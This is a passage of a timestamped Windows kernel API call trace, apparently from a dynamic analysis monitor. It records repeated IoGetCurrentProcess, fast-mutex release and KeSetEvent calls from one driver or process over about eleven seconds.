0xffffe00001078440 [0295.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.020] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.021] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.145] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.146] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.147] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.208] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.209] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.270] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.332] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.332] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.333] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.395] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0296.395] IoGetCurrentProcess () returned 0xffffe00001078440 [0296.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0296.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0297.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.144] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0297.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0297.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.207] IoGetCurrentProcess () returned 0xffffe00001078440 [0297.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0297.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0297.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.287] IoGetCurrentProcess () returned 0xffffe00001078440 [0297.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.333] IoGetCurrentProcess () returned 0xffffe00001078440 [0297.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.334] IoGetCurrentProcess () returned 0xffffe00001078440 [0297.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.334] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0297.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0297.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0297.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0297.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.100] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.100] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.100] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0300.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.442] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0300.505] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.505] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.567] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.631] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.631] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.693] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.693] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.826] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.827] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.827] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.827] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.879] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.879] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0300.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0300.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.130] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.192] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.193] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.317] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.317] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0301.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0301.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0301.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.411] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.412] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0303.473] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.474] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.535] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.536] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.599] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.660] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.661] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.928] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0303.928] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0303.943] IoGetCurrentProcess () returned 0xffffe00001078440 [0303.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0303.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.005] IoGetCurrentProcess () returned 0xffffe00001078440 [0304.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.005] IoGetCurrentProcess () returned 0xffffe00001078440 [0304.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.067] IoGetCurrentProcess () returned 0xffffe00001078440 [0304.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.067] IoGetCurrentProcess () returned 0xffffe00001078440 [0304.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0304.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0304.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0304.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0304.192] IoGetCurrentProcess () returned 0xffffe00001078440 [0304.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0304.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.005] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.006] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0306.068] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.069] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.192] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.380] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.442] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.567] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.567] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.568] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.613] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.880] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.880] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0306.942] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0306.942] IoGetCurrentProcess () returned 0xffffe00001078440 [0306.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0306.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.005] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.006] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.067] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0307.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.191] 